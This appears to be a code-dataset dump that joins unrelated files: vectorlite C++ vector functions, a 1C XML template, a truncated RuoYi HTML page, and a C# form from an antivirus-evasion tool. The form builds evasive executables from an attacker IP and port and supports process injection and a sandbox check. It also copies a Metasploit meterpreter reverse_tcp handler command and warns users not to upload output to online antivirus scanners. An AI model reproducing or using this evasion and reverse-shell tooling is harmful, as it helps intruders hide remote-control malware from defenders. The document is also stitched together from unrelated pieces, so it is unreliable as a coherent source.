{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codepython_cate_ast": 0, "qsc_codepython_frac_lines_func_ratio": 0, "qsc_codepython_cate_var_zero": 0, "qsc_codepython_frac_lines_pass": 0, "qsc_codepython_frac_lines_import": 0, "qsc_codepython_frac_lines_simplefunc": 0, "qsc_codepython_score_lines_no_logic": 0, "qsc_codepython_frac_lines_print": 0}
1yefuwang1/vectorlite
vectorlite/vector_view.h
#pragma once #include <string> #include <string_view> #include "absl/status/statusor.h" #include "absl/types/span.h" #include "hwy/base.h" #include "macros.h" #include "rapidjson/document.h" #include "rapidjson/error/en.h" #include "rapidjson/stringbuffer.h" #include "rapidjson/writer.h" #include "util.h" namespace vectorlite { template <class T, VECTORLITE_IF_FLOAT_SUPPORTED_FWD_DECL(T)> class GenericVector; // GenericVectorView is a read-only view of a vector, like what std::string_view // is to std::string. template <class T, VECTORLITE_IF_FLOAT_SUPPORTED(T)> class GenericVectorView : private CopyAssignBase<T>, private CopyCtorBase<T>, private MoveCtorBase<T>, private MoveAssignBase<T> { public: GenericVectorView() = default; GenericVectorView(const GenericVectorView&) = default; GenericVectorView(GenericVectorView&&) = default; GenericVectorView(const GenericVector<T, nullptr>& vector) : data_(vector.data()) {} explicit GenericVectorView(absl::Span<const T> data) : data_(data) {} GenericVectorView& operator=(const GenericVectorView&) = default; GenericVectorView& operator=(GenericVectorView&&) = default; static absl::StatusOr<GenericVectorView<T>> FromBlob(std::string_view blob) { if (blob.size() % sizeof(T) != 0) { return absl::InvalidArgumentError("Blob size is not a multiple of float"); } return GenericVectorView(absl::MakeSpan( reinterpret_cast<const T*>(blob.data()), blob.size() / sizeof(T))); }; std::string ToJSON() const { rapidjson::Document doc; doc.SetArray(); auto& allocator = doc.GetAllocator(); for (T v : data_) { doc.PushBack(hwy::ConvertScalarTo<float>(v), allocator); } rapidjson::StringBuffer buf; rapidjson::Writer<rapidjson::StringBuffer> writer(buf); doc.Accept(writer); return buf.GetString(); }; std::string_view ToBlob() const { return std::string_view(reinterpret_cast<const char*>(data_.data()), data_.size() * sizeof(T)); }; std::size_t dim() const { return data_.size(); } absl::Span<const T> data() const { return data_; } private: absl::Span<const T> data_; }; using VectorView = GenericVectorView<float>; using BF16VectorView = GenericVectorView<hwy::bfloat16_t>; } // namespace vectorlite
2,386
vector_view
h
en
c
code
{"qsc_code_num_words": 268, "qsc_code_num_chars": 2386.0, "qsc_code_mean_word_length": 5.98134328, "qsc_code_frac_words_unique": 0.32835821, "qsc_code_frac_chars_top_2grams": 0.03992514, "qsc_code_frac_chars_top_3grams": 0.04242046, "qsc_code_frac_chars_top_4grams": 0.02620087, "qsc_code_frac_chars_dupe_5grams": 0.08359326, "qsc_code_frac_chars_dupe_6grams": 0.04990643, "qsc_code_frac_chars_dupe_7grams": 0.04990643, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.0025641, "qsc_code_frac_chars_whitespace": 0.18273261, "qsc_code_size_file_byte": 2386.0, "qsc_code_num_lines": 80.0, "qsc_code_num_chars_line_max": 81.0, "qsc_code_num_chars_line_mean": 29.825, "qsc_code_frac_chars_alphabet": 0.81948718, "qsc_code_frac_chars_comments": 0.05322716, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.06666667, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0800885, "qsc_code_frac_chars_long_word_length": 0.02035398, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codec_frac_lines_func_ratio": 0.08333333, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 0.0, "qsc_codec_score_lines_no_logic": 0.28333333, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": null}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 0, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0}
1c-syntax/ssl_3_1
src/cf/Reports/ПраваДоступа/Templates/Макет.xml
<?xml version="1.0" encoding="UTF-8"?> <MetaDataObject xmlns="http://v8.1c.ru/8.3/MDClasses" xmlns:app="http://v8.1c.ru/8.2/managed-application/core" xmlns:cfg="http://v8.1c.ru/8.1/data/enterprise/current-config" xmlns:cmi="http://v8.1c.ru/8.2/managed-application/cmi" xmlns:ent="http://v8.1c.ru/8.1/data/enterprise" xmlns:lf="http://v8.1c.ru/8.2/managed-application/logform" xmlns:style="http://v8.1c.ru/8.1/data/ui/style" xmlns:sys="http://v8.1c.ru/8.1/data/ui/fonts/system" xmlns:v8="http://v8.1c.ru/8.1/data/core" xmlns:v8ui="http://v8.1c.ru/8.1/data/ui" xmlns:web="http://v8.1c.ru/8.1/data/ui/colors/web" xmlns:win="http://v8.1c.ru/8.1/data/ui/colors/windows" xmlns:xen="http://v8.1c.ru/8.3/xcf/enums" xmlns:xpr="http://v8.1c.ru/8.3/xcf/predef" xmlns:xr="http://v8.1c.ru/8.3/xcf/readable" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="2.18"> <Template uuid="2eeea138-481c-4fde-9e8a-709d751cc469"> <Properties> <Name>Макет</Name> <Synonym> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Макет</v8:content> </v8:item> </Synonym> <Comment/> <TemplateType>SpreadsheetDocument</TemplateType> </Properties> </Template> </MetaDataObject>
1,233
Макет
xml
ru
xml
data
{"qsc_code_num_words": 223, "qsc_code_num_chars": 1233.0, "qsc_code_mean_word_length": 3.82511211, "qsc_code_frac_words_unique": 0.32735426, "qsc_code_frac_chars_top_2grams": 0.10550996, "qsc_code_frac_chars_top_3grams": 0.14067995, "qsc_code_frac_chars_top_4grams": 0.17584994, "qsc_code_frac_chars_dupe_5grams": 0.43024619, "qsc_code_frac_chars_dupe_6grams": 0.43024619, "qsc_code_frac_chars_dupe_7grams": 0.35756155, "qsc_code_frac_chars_dupe_8grams": 0.28604924, "qsc_code_frac_chars_dupe_9grams": 0.05627198, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.08894646, "qsc_code_frac_chars_whitespace": 0.06082725, "qsc_code_size_file_byte": 1233.0, "qsc_code_num_lines": 16.0, "qsc_code_num_chars_line_max": 869.0, "qsc_code_num_chars_line_mean": 77.0625, "qsc_code_frac_chars_alphabet": 0.64680484, "qsc_code_frac_chars_comments": 0.0, "qsc_code_cate_xml_start": 1.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.54257908, "qsc_code_frac_chars_long_word_length": 0.02919708, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_words_unique": 1, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 1, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 1, "qsc_code_cate_autogen": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0}
1yefuwang1/vectorlite
vectorlite/sqlite_functions.cpp
#include "sqlite_functions.h" #include <string> #include <string_view> #include "absl/log/log.h" #include "absl/status/status.h" #include "absl/strings/str_format.h" #include "util.h" #include "vector.h" #include "vector_space.h" #include "vectorlite/version.h" // Defined in vectorlite.cpp extern const sqlite3_api_routines *sqlite3_api; namespace vectorlite { void ShowInfo(sqlite3_context *ctx, int, sqlite3_value **) { auto simd = vectorlite::DetectSIMD().value_or("SIMD not enabled"); std::string info = absl::StrFormat("vectorlite extension version %s, built with %s", VECTORLITE_VERSION, simd); DLOG(INFO) << "ShowInfo called: " << info; sqlite3_result_text(ctx, info.c_str(), -1, SQLITE_TRANSIENT); } // VectorDistance takes two vectors and and space type, then outputs their // distance void VectorDistance(sqlite3_context *ctx, int argc, sqlite3_value **argv) { if (argc != 3) { std::string err = absl::StrFormat( "vector_distance expects 3 arguments but %d provided", argc); sqlite3_result_error(ctx, err.c_str(), -1); return; } auto type1 = sqlite3_value_type(argv[0]); auto type2 = sqlite3_value_type(argv[1]); if (type1 != SQLITE_BLOB || type2 != SQLITE_BLOB) { DLOG_IF(INFO, type1 != SQLITE_BLOB && type1 == SQLITE_TEXT) << "vector1 is of type TEXT" << sqlite3_value_text(argv[0]) << " with size " << sqlite3_value_bytes(argv[0]); DLOG_IF(INFO, type2 != SQLITE_BLOB && type2 == SQLITE_TEXT) << "vector2 is of type TEXT" << sqlite3_value_text(argv[1]) << " with size " << sqlite3_value_bytes(argv[1]); std::string err = absl::StrFormat( "vector_distance expects vectors of type blob but found %u and %u", type1, type2); sqlite3_result_error(ctx, err.c_str(), -1); return; } if (sqlite3_value_type(argv[2]) != SQLITE_TEXT) { sqlite3_result_error( ctx, "vectors_distance expects space type of type text", -1); return; } std::string_view space_type_str( reinterpret_cast<const char *>(sqlite3_value_text(argv[2])), sqlite3_value_bytes(argv[2])); auto distance_type = vectorlite::ParseDistanceType(space_type_str); if (!distance_type.has_value()) { std::string err = absl::StrFormat("Failed to parse space type: %s", space_type_str); sqlite3_result_error(ctx, err.c_str(), -1); return; } std::string_view v1_str( reinterpret_cast<const char *>(sqlite3_value_blob(argv[0])), sqlite3_value_bytes(argv[0])); auto v1 = vectorlite::VectorView::FromBlob(v1_str); if (!v1.ok()) { std::string err = absl::StrFormat("Failed to parse 1st vector due to: %s", v1.status().message()); sqlite3_result_error(ctx, err.c_str(), -1); return; } std::string_view v2_str( reinterpret_cast<const char *>(sqlite3_value_blob(argv[1])), sqlite3_value_bytes(argv[1])); auto v2 = vectorlite::VectorView::FromBlob(v2_str); if (!v2.ok()) { std::string err = absl::StrFormat("Failed to parse 2nd vector due to: %s", v2.status().message()); sqlite3_result_error(ctx, err.c_str(), -1); return; } auto distance = vectorlite::Distance(*v1, *v2, *distance_type); if (!distance.ok()) { sqlite3_result_error(ctx, absl::StatusMessageAsCStr(distance.status()), -1); return; } sqlite3_result_double(ctx, static_cast<double>(*distance)); return; } void VectorFromJson(sqlite3_context *ctx, int argc, sqlite3_value **argv) { if (argc != 1) { std::string err = absl::StrFormat( "vector_from_json expects 1 argument but %d provided", argc); sqlite3_result_error(ctx, err.c_str(), -1); return; } if (sqlite3_value_type(argv[0]) != SQLITE_TEXT) { sqlite3_result_error(ctx, "vector_from_json expects a JSON string", -1); return; } std::string_view json_str( reinterpret_cast<const char *>(sqlite3_value_text(argv[0])), sqlite3_value_bytes(argv[0])); auto vector = vectorlite::Vector::FromJSON(json_str); if (!vector.ok()) { std::string err = absl::StrFormat("Failed to parse vector due to: %s", vector.status().message()); sqlite3_result_error(ctx, err.c_str(), -1); return; } sqlite3_result_blob(ctx, vector->ToBlob().data(), vector->ToBlob().size(), SQLITE_TRANSIENT); return; } void VectorToJson(sqlite3_context *ctx, int argc, sqlite3_value **argv) { if (argc != 1) { std::string err = absl::StrFormat( "vector_to_json expects 1 argument but %d provided", argc); sqlite3_result_error(ctx, err.c_str(), err.length()); return; } if (sqlite3_value_type(argv[0]) != SQLITE_BLOB) { sqlite3_result_error(ctx, "vector_to_json expects vector of type blob", -1); return; } std::string_view vector_blob( reinterpret_cast<const char *>(sqlite3_value_blob(argv[0])), sqlite3_value_bytes(argv[0])); auto vector_view = vectorlite::VectorView::FromBlob(vector_blob); if (!vector_view.ok()) { std::string err = absl::StrFormat("Failed to parse vector due to: %s", vector_view.status().message()); sqlite3_result_error(ctx, err.c_str(), err.length()); return; } auto json = vector_view->ToJSON(); sqlite3_result_text(ctx, json.data(), json.size(), SQLITE_TRANSIENT); return; } } // namespace vectorlite
5,475
sqlite_functions
cpp
en
cpp
code
{"qsc_code_num_words": 723, "qsc_code_num_chars": 5475.0, "qsc_code_mean_word_length": 4.73305671, "qsc_code_frac_words_unique": 0.16320885, "qsc_code_frac_chars_top_2grams": 0.08065459, "qsc_code_frac_chars_top_3grams": 0.06838106, "qsc_code_frac_chars_top_4grams": 0.07977791, "qsc_code_frac_chars_dupe_5grams": 0.51285798, "qsc_code_frac_chars_dupe_6grams": 0.47253068, "qsc_code_frac_chars_dupe_7grams": 0.43921683, "qsc_code_frac_chars_dupe_8grams": 0.43892461, "qsc_code_frac_chars_dupe_9grams": 0.37171245, "qsc_code_frac_chars_dupe_10grams": 0.29105786, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.02496564, "qsc_code_frac_chars_whitespace": 0.20255708, "qsc_code_size_file_byte": 5475.0, "qsc_code_num_lines": 163.0, "qsc_code_num_chars_line_max": 81.0, "qsc_code_num_chars_line_mean": 33.58895706, "qsc_code_frac_chars_alphabet": 0.75881814, "qsc_code_frac_chars_comments": 0.02557078, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.27941176, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.14711394, "qsc_code_frac_chars_long_word_length": 0.00468516, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codecpp_frac_lines_preprocessor_directives": 0.07352941, "qsc_codecpp_frac_lines_func_ratio": 0.06617647, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.25735294, "qsc_codecpp_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 0, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0}
1y0n/AV_Evasion_Tool
掩日2.0/Form1.cs
using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; namespace 掩日2._0 { public partial class Form1 : Form { //全局变量 public bool MODE = true; // true for easy mode which is default, false for custom mode public bool ENV = true; //true for GCC installed public Form1() { InitializeComponent(); this.Height = 110; bool env = false; comboBox1.SelectedIndex = 0; comboBox3.SelectedIndex = 0; comboBox5.Items.AddRange(Global.VM_Sandbox); comboBox5.SelectedIndex = 0; //判断是否已安装GCC if (!Common.Execute_Cmd("gcc --version").Contains("tdm64")) { DialogResult result = MessageBox.Show("缺少必要的执行环境(tdm-gcc),点击确定将启动兼容模式,兼容模式下,多数功能无法使用。点击取消打开使用说明界面", "警告", MessageBoxButtons.OKCancel, MessageBoxIcon.Exclamation); if (result == DialogResult.OK) { this.Text = "掩日 2.0 - 兼容 - 1y0n.com"; ENV = false; // 没有安装GCC MODE = false; //环境不全的情况下,极简模式不能用 linkLabel1.Text = ""; panel1.Height = 410; panel1.Visible = true; this.Height = 519; textBox1.Enabled = false; comboBox1.Items.Clear(); comboBox1.Items.Add("C#"); comboBox1.SelectedIndex = 0; linkLabel1.Enabled = false; textBox1.Text = "兼容模式下不可用"; textBox1.Enabled = false; } else { System.Diagnostics.Process.Start("https://github.com/1y0n/AV_Evasion_Tool/"); System.Environment.Exit(-1); } } } private void label3_Click(object sender, EventArgs e) { AboutBox1 ab = new AboutBox1(); ab.Show(); } private void button1_Click(object sender, EventArgs e) { if (MODE) //极简模式 { if (textBox1.Text.Contains(":")) { string ip = textBox1.Text.Split(':')[0]; string port = textBox1.Text.Split(':')[1]; saveFileDialog1.Filter = "可执行文件|*.exe"; if ((saveFileDialog1.ShowDialog() == DialogResult.OK) && (saveFileDialog1.FileName != "")) { string savepath = saveFileDialog1.FileName; if (Core.Generate_1_IP(comboBox3.Text, ip, port, savepath)) { if (MessageBox.Show("生成成功,是否复制 metasploit 启动命令到剪贴板?", "成功", MessageBoxButtons.YesNo) == DialogResult.Yes) { string msf_cmd = @"msfconsole -x ""use exploit/multi/handler; set payload windows/{{arch}}meterpreter/reverse_tcp; set lhost {{ip}}; set lport {{port}}; run; """; string temp = comboBox3.Text.StartsWith("64") ? "x64/" : ""; msf_cmd = msf_cmd.Replace("{{arch}}", temp).Replace("{{ip}}", ip).Replace("{{port}}", port); Clipboard.SetText(msf_cmd); } } else { MessageBox.Show("生成失败,请检查你的输入。"); } } else { MessageBox.Show("必须按照 IP:端口 的形式,如 192.168.1.1:4444 ,输入地址。"); return; } } else { MessageBox.Show("必须按照 IP:端口 的形式,如 192.168.1.1:4444 ,输入地址。"); return; } } else { if (comboBox2.Text.Contains("注入")) { if (textBox2.Text.Trim() == "") { MessageBox.Show("漏填了必填项,请检查", "提示"); return; } if (comboBox2.Text.Contains("现有")) { try { int temp = int.Parse(textBox2.Text); } catch { MessageBox.Show("注入现有进程时必须填写数字PID号", "提示"); return; } } } saveFileDialog1.Filter = "可执行文件|*.exe"; if ((saveFileDialog1.ShowDialog() == DialogResult.OK) && (saveFileDialog1.FileName != "") && (richTextBox1.Text.Trim() != "")) { bool result = false; if (comboBox1.Text == "C") { result = Core.Gen_C(richTextBox1.Text, saveFileDialog1.FileName, comboBox2.Text, textBox2.Text, comboBox3.Text, comboBox5.Text); } else if (comboBox1.Text == "C#") { result = Core.Gen_CS(richTextBox1.Text, saveFileDialog1.FileName, comboBox2.Text, textBox2.Text, comboBox3.Text, comboBox5.Text); } if (result) { MessageBox.Show("生成成功!不要将生成的程序上传到在线杀毒网站", "成功"); return; } else { MessageBox.Show("生成失败!请检查你的输入", "失败"); return; } } else { return; } } } public void SwitchMode() { if (MODE) // 当前是极简模式,准备切换到进阶模式 { MODE = false; linkLabel1.Text = "🔺极简"; panel1.Height = 410; panel1.Visible = true; this.Height = 519; textBox1.Enabled = false; } else //切换到极简模式 { MODE = true; linkLabel1.Text = "🔻进阶"; panel1.Visible = false; this.Height = 110; textBox1.Enabled = true; } } private void linkLabel1_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) { SwitchMode(); } private void richTextBox1_TextChanged(object sender, EventArgs e) { richTextBox1.ForeColor = Color.Black; } private void comboBox1_SelectedIndexChanged(object sender, EventArgs e) { if (comboBox1.Text == "C") { comboBox2.Items.Clear(); comboBox2.Items.AddRange(Global.C_Execute); comboBox2.SelectedIndex = 0; } else if (comboBox1.Text == "C#") { comboBox2.Items.Clear(); if (comboBox3.Text.StartsWith("32")) { comboBox2.Items.AddRange(Global.CS_Execute_x86); } else { comboBox2.Items.AddRange(Global.CS_Execute_x64); } comboBox2.SelectedIndex = 0; } } private void comboBox2_SelectedIndexChanged(object sender, EventArgs e) { if (comboBox2.Text.Contains("注入新进程")) { textBox2.Enabled = true; label4.Text = "注入进程名:"; textBox2.Text = "notepad.exe"; } else if (comboBox2.Text.Contains("注入现有进程")) { textBox2.Enabled = true; label4.Text = "进程PID:"; textBox2.Clear(); } else { textBox2.Enabled = false; } } private void radioButton6_CheckedChanged(object sender, EventArgs e) { if (!radioButton6.Checked) { return; } MessageBox.Show("图标路径不要包含中文,否则无法生成", "提示"); openFileDialog1.Filter = "图标文件|*.ico"; if ((openFileDialog1.ShowDialog() == DialogResult.OK) && (openFileDialog1.FileName != "")) { pictureBox3.ImageLocation = Global.ICONPATH = openFileDialog1.FileName; } else { radioButton3.Checked = true; } } private void comboBox3_SelectedIndexChanged(object sender, EventArgs e) { if (comboBox1.Text == "C#") { comboBox2.Items.Clear(); if (comboBox3.Text.StartsWith("32")) { comboBox2.Items.AddRange(Global.CS_Execute_x86); } else { comboBox2.Items.AddRange(Global.CS_Execute_x64); } comboBox2.SelectedIndex = 0; } } private void richTextBox1_Click(object sender, EventArgs e) { if (richTextBox1.Text.Contains("msfvenom")) { richTextBox1.Clear(); } } private void radioButton3_CheckedChanged(object sender, EventArgs e) { Global.ICONPATH = ""; } } }
9,735
Form1
cs
en
csharp
code
{"qsc_code_num_words": 704, "qsc_code_num_chars": 9735.0, "qsc_code_mean_word_length": 5.89488636, "qsc_code_frac_words_unique": 0.31676136, "qsc_code_frac_chars_top_2grams": 0.03373494, "qsc_code_frac_chars_top_3grams": 0.04554217, "qsc_code_frac_chars_top_4grams": 0.04771084, "qsc_code_frac_chars_dupe_5grams": 0.36578313, "qsc_code_frac_chars_dupe_6grams": 0.29951807, "qsc_code_frac_chars_dupe_7grams": 0.27493976, "qsc_code_frac_chars_dupe_8grams": 0.26096386, "qsc_code_frac_chars_dupe_9grams": 0.26096386, "qsc_code_frac_chars_dupe_10grams": 0.26096386, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.03499222, "qsc_code_frac_chars_whitespace": 0.47159733, "qsc_code_size_file_byte": 9735.0, "qsc_code_num_lines": 275.0, "qsc_code_num_chars_line_max": 195.0, "qsc_code_num_chars_line_mean": 35.4, "qsc_code_frac_chars_alphabet": 0.77118974, "qsc_code_frac_chars_comments": 0.01797637, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.22047244, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.00393701, "qsc_code_frac_chars_string_length": 0.06559264, "qsc_code_frac_chars_long_word_length": 0.01485511, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codecsharp_frac_lines_func_ratio": 0.04330709, "qsc_codecsharp_cate_var_zero": 0.0, "qsc_codecsharp_score_lines_no_logic": 0.11023622, "qsc_codecsharp_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecsharp_frac_lines_func_ratio": 0, "qsc_codecsharp_cate_var_zero": 0, "qsc_codecsharp_score_lines_no_logic": 0, "qsc_codecsharp_frac_lines_print": 0}
1diot9/MyJavaSecStudy
CodeAudit/RuoYi/RuoYi-4.7.5/ruoyi-admin/src/main/resources/templates/demo/icon/glyphicons.html
<!DOCTYPE html> <html lang="zh"> <head> <th:block th:include="include :: header('glyphicons图标')" /> </head> <body class="gray-bg"> <div class="wrapper wrapper-content animated fadeInRight"> <div class="row"> <div class="col-sm-3"> <div class="float-e-margins"> <h2>Glyphicons 字体图标</h2> 包括250多个来自 Glyphicon Halflings 的字体图标。Glyphicons Halflings 一般是收费的,但是他们的作者允许 Bootstrap 免费使用。为了表示感谢,希望你在使用时尽量为 Glyphicons 添加一个友情链接。 </div> </div> <div class="col-sm-9"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>所有图标 <small class="m-l-sm">所有图标集合 - <a href="http://glyphicons.com/" target="_blank">Glyphicons</a> </small></h5> <div class="ibox-tools"> <a class="collapse-link"> <i class="fa fa-chevron-up"></i> </a> <a class="dropdown-toggle" data-toggle="dropdown" href="#"> <i class="fa fa-wrench"></i> </a> <ul class="dropdown-menu dropdown-user"> <li><a href="#">选项1</a> </li> <li><a href="#">选项2</a> </li> </ul> <a class="close-link"> <i class="fa fa-times"></i> </a> </div> </div> <div class="ibox-content icons-box"> <div class="bs-glyphicons"> <ul class="bs-glyphicons-list"> <li> <span class="glyphicon glyphicon-asterisk" 